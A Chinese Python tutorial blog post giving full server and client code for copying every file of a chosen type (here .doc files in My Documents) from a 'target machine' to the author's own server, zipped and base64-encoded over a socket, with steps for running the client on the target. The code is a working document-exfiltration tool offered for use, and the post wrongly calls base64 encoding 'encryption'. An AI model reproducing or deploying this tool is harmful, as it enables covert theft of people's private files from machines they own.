python实现获取客户机上指定文件并传输到服务器的方法


Posted in Python onMarch 16, 2015

本文实例讲述了python实现获取客户机上指定文件并传输到服务器的方法。分享给大家供大家参考。具体分析如下:

该程序实现了,把目标机器的某个目录(可控)的所有的某种类型文件(可控)全部获取并传到己方的机器上。

1、用了base64的encode(infile,outfile)加密,以及decode(infile,outfile)解密,这是2进制加密解密
2、用zip压缩
3、socket中server.py放到自己这方python server.py,然后client.py放到目标机器,然后python client.py即可
4、本程序设置了获取doc文件,修改extName可以获取其它类型文件

服务器端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #获取加密数据

                encode_data = cs.recv(BUF_SIZE)

                #把数据写到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2进制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打开zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #创建一个文件夹来存放获取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后续处理 删除临时文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客户端程序:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文档"

    extName = '.doc'

    #遍历搜索我的文档的doc类型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件处理错误: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #压缩成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2进制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后续处理 删除中间文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出错啦:' % e

        cs.close()

if __name__=='__main__':

    main()

希望本文所述对大家的Python程序设计有所帮助。

Python 相关文章推荐
Python单例模式实例分析
Jan 14 Python
Python while 循环使用的简单实例
Jun 08 Python
python3操作mysql数据库的方法
Jun 23 Python
浅谈numpy数组的几种排序方式
Dec 15 Python
Python使用Matplotlib实现雨点图动画效果的方法
Dec 23 Python
基于Python开发chrome插件的方法分析
Jul 07 Python
Django数据库连接丢失问题的解决方法
Dec 29 Python
Django+Xadmin构建项目的方法步骤
Mar 06 Python
python控制台实现tab补全和清屏的例子
Aug 20 Python
基于Python获取照片的GPS位置信息
Jan 20 Python
Python 使用dict实现switch的操作
Apr 07 Python
Python 多线程处理任务实例
Nov 07 Python
python提取内容关键词的方法
Mar 16 #Python
python生成随机mac地址的方法
Mar 16 #Python
python通过线程实现定时器timer的方法
Mar 16 #Python
python每隔N秒运行指定函数的方法
Mar 16 #Python
python实现登陆知乎获得个人收藏并保存为word文件
Mar 16 #Python
Python标准库urllib2的一些使用细节总结
Mar 16 #Python
python实现查询苹果手机维修进度
Mar 16 #Python
You might like
PHP 和 MySQL 基础教程(三)
2006/10/09 PHP
php2html php生成静态页函数
2008/12/08 PHP
php各种编码集详解和以及在什么情况下进行使用
2011/09/11 PHP
浅谈apache和nginx的rewrite的区别
2013/02/22 PHP
php获取网页里所有图片并存入数组的方法
2015/04/06 PHP
PHP $O00OO0=urldecode & eval 解密,记一次商业源码的去后门
2020/09/13 PHP
最佳的addEvent事件绑定是怎样诞生的
2011/10/24 Javascript
文本有关的样式和jQuery求对象的高宽问题分别说明
2013/08/30 Javascript
扩展IE中一些不兼容的方法如contains、startWith等等
2014/01/09 Javascript
js(JavaScript)实现TAB标签切换效果的简单实例
2014/02/26 Javascript
JavaScript实现图片自动加载的瀑布流效果
2016/04/11 Javascript
jquery实现全选功能效果的实现代码
2016/05/05 Javascript
javascript将url解析为json格式的两种方法
2017/08/18 Javascript
利用JS实现scroll自定义滚动效果详解
2017/10/17 Javascript
JavaScript 中定义函数用 var foo = function () {} 和 function foo()区别介绍
2018/03/01 Javascript
node.js制作一个简单的登录拦截器
2020/02/10 Javascript
es6函数中的作用域实例分析
2020/04/18 Javascript
[00:08]DOTA2勇士令状等级奖励“天外飞星”
2019/05/24 DOTA
python模块之sys模块和序列化模块(实例讲解)
2017/09/13 Python
influx+grafana自定义python采集数据和一些坑的总结
2018/09/17 Python
Python实现Dijkstra算法
2018/10/17 Python
Python3.5 Pandas模块之Series用法实例分析
2019/04/23 Python
Django ORM多对多查询方法(自定义第三张表&ManyToManyField)
2019/08/09 Python
python应用文件读取与登录注册功能
2019/09/23 Python
python集成开发环境配置(pycharm)
2020/02/14 Python
英国PC组件和在线电脑商店:SCAN
2019/04/18 全球购物
.NET现在共支持多少种语言
2014/02/26 面试题
小区门卫值班制度
2014/01/24 职场文书
危爆物品安全大检查大整治工作方案
2014/05/03 职场文书
论群众路线学习笔记
2014/11/06 职场文书
公司2014年度工作总结
2014/12/10 职场文书
某药房的新员工入职告知书!
2019/07/15 职场文书
js实现自动锁屏功能
2021/06/02 Javascript
JavaScript中MutationObServer监听DOM元素详情
2021/11/27 Javascript
详解MySql中InnoDB存储引擎中的各种锁
2022/02/12 MySQL
Nginx反向代理、重定向
2022/04/13 Servers